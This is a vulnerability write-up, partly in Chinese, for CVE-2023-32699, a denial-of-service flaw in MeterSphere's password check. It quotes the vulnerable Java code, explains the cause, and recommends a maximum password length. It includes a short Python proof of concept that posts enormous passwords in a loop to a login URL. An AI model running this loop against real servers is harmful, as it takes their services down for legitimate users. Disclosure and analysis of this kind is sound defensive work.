Headline
CVE-2023-32699: metersphere存在DoS漏洞
MeterSphere is an open source continuous testing platform. Version 2.9.1 and prior are vulnerable to denial of service. ?The checkUserPassword
method is used to check whether the password provided by the user matches the password saved in the database, and the CodingUtil.md5
method is used to encrypt the original password with MD5 to ensure that the password will not be saved in plain text when it is stored. If a user submits a very long password when logging in, the system will be forced to execute the long password MD5 encryption process, causing the server CPU and memory to be exhausted, thereby causing a denial of service attack on the server. This issue is fixed in version 2.10.0-lts with a maximum password length.
****一、** **测试环境****
测试环境为VMware****® Workstation 17 Pro**:Ubuntu 22.04.2**
版本如下所示:
****二、** **漏洞设计程序代码位置********代码位置:****
.\MeterSphere-main\framework\gateway\src\main\java\io\metersphere\gateway\service\UserLoginService.java
****三、** **详细报告****
.\MeterSphere-main\framework\gateway\src\main\java\io\metersphere\gateway\service\UserLoginService.java
public boolean checkUserPassword(String userId, String password) {
if (StringUtils.isBlank(userId)) {
MSException.throwException(Translator.get("user\_name\_is\_null"));
}
if (StringUtils.isBlank(password)) {
MSException.throwException(Translator.get("password\_is\_null"));
}
UserExample example = new UserExample();
example.createCriteria().andIdEqualTo(userId).andPasswordEqualTo(CodingUtil.md5(password));
return userMapper.countByExample(example) > 0;
}
checkUserPassword 方法用于检查用户提供的密码是否与数据库中保存的密码匹配,其主要实现流程如下:
- 先检查输入的用户 ID 和密码是否为空,为空则抛出异常。
- 然后新建一个 UserExample 对象,并通过该对象设置查询条件(id等于 userID,password等于 password 的md5值)。
- 最后调用 userMapper.countByExample 方法得到满足条件的记录数并返回。
其中,CodingUtil.md5 方法用于将原始密码进行 MD5 加密处理,以保证密码在存储时不会被明文保存。如果我们在登陆时提交一个非常长的口令,就会迫使系统执行长口令MD5加密过程,导致服务器CPU及内存耗尽,从而对服务器造成拒绝服务攻击,这可能导致服务器长时间宕机,即无法使用或无响应
****四、** **POC********环境搭建:****
根据在gitee社区的指导文件进行搭建
参考链接:https://gitee.com/fit2cloud-feizhiyun/MeterSphere
****POC**流程:******代码逻辑:****
我们使用 python 语言,通过生成随机长字符串模拟随机长口令,之后我们依次循环地向服务器发送短口令和长口令,短口令是为了证明程序响应时间正常,长口令是为了验证该程序存在的拒绝服务攻击,在发送长口令的同时,我们还会在浏览器进行正确账户的登录,以此验证此次攻击确实会造成服务器宕机。
****POC代码:
代码中 headers 字段是使用Wireshark抓包正常登陆时的HTTP请求包得到的字段。
#!/usr/bin/python3 import requests import json
url = “https://www.metersphere.com/login” headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0", "Accept": "application/json, text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json; charset=UTF-8", "Origin": "https://www.metersphere.com/login", "Connection": "keep-alive", "Referer":"https://www.metersphere.com/login"}
for i in [1,10,1,50,1,100,1,200,1,300]: passwd = “adbce12345” * i * 10000 data = json.dumps({"userName": "17860760750", “userPassword": f"{passwd}",}) r = requests.post(url, headers=headers, data=data,timeout=999) print(f"密码长度:{i} 十万”) print("响应时间:",r.elapsed.total_seconds()) print("-"*20)
****POC结果:
可以看到,随着口令长度的增加,服务器处理响应请求的时间也会增加,由此可以看出,只要口令足够长,那么服务器也会宕机很长时间。
五、修复方案
一种可能的修复方案是在前端输入框内限制输入数据的长度,另一种可能的修复方案是在后端代码中添加 password 最大长度限制。总之,只要限制了 password 最大长度,该问题就可以解决。